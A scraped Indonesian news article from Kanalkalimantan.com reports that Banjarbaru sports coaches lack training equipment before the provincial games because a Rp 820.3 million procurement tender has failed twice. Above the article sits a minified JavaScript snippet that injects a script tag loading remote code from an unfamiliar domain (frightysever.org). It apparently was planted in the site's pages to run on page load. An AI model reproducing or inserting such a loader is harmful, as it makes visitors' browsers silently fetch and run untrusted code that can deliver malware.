(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Hadapi Porkan Olahraga Provinsi (Porprov) Kalsel, para pelatih cabang olahraga (Cabor) di Kota Banjarbaru mengeluhkan peralatan latihan hingga saat ini belum ada kepastian.
Lantaran tender peralatan olahraga dari Dinas Pemuda, Olahraga, Budaya dan Pariwisata (Disporabudpar) Kota Banjarbaru hingga saat ini belum turun. Sehingga mengharuskan para atlet latihan memakai peralatan bekas yang tak memadai.
Dikabarkan lelang proyek pengadaan yang bernilai Rp 820,3 juta sudah dua kali mengalami kegagalan lelang.
Seperti yang diutarakan Kordinator Pelatih Cabor Atletik dari PASI Banjarbaru, Muhammad Dailami mengatakan mereka sangat membutuhkan pelaratan olahraga untuk menunjang latihan jelang Porprov Kalsel di HSS.
Baca juga: Terjepit Reruntuhan Beton, Pekerja Proyek Jembatan Sulawesi II Banjarmasin Meninggal Dunia
“Utamanya itu kalau di atletik ini di sepatu, kalau latihan masih bisa diakomodir dengan memakai sepatu yang terdahulu,” katanya.
Dilanjutkannya, pria yang kerap disapa Lami ini menerangkan terkait harga sepatu mereka paling biasa sudah di angka Rp 1,5 juta, hingga saat ini mereka masih memakai peralatan yang sudah ada dan ada juga yang memakai sepatu bekas harga Rp 500 ribu.
“Mudah-mudahan cepat peralatan tersedia, sebab Porprov sudah di depan mata,” harapnya.
Sementara itu, Kepala Bidang Olahraga Disporabudpar Banjarbaru, Sutami mengatakan hingga saat ini untuk proses pengadaan alat olahraga sudah dua kali gagal lelang.
“Pertama dilelang tidak ada yang nawar, lelang kedua dibuka ada pihak yang menawar, tapi bukan bidangnya, sehingga gagal lagi,” ungkapnya.
Baca juga: Puluhan Wartawan Ikuti UKW yang Digelar PWI Balangan
“Untuk alat sementara masih belum bisa diakomodir,” katanya.
Dijelaskan Sutami terkait alat berdasarkan rencana kerja dan anggaran (RKA), peralatan latihan ini bukanlah untuk Porprov 2022 melainkan untuk pembinaan.
“Kemarin sudah kami rapatkan dengan semua Cabor, kita jelaskan itu (peralatan) bukan untuk Porprov sebab di RKA tidak ada bunyi untuk Porprov melainkan untuk pembinaan,” jelasnya.
Hingga saat ini diakui Sutami, Disporabudpar belum mengeluarkan satupun peralatan olahraga, sehingga Cabor masih memakai peralatan yang terdahulu.
“Yang jelas dari permintaan cabor ke KONI, KONI ke kita (Bidang Olahraga) itu yang diakomodir, semua Cabor sudah mengajukan,” tuturnya.
Masih kata Sutami, pihaknya juga tetap mengusahakan agar lelang terakhir ini berhasil. Apabila berhasil pihaknya menekankan untuk pemenang tender agar penyediaan peralataan yang bisa dibantu terlebih dahulu.
“Karena mendekati Porprov kemungkinan tidak bisa dipakai, mudah-mudahan dalam waktu dekat ini ada yang nawar sukses kita berusaha dengan pemenang tender, cabor untuk alat tanding bisa dibantu lebih dulu,” tuntasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.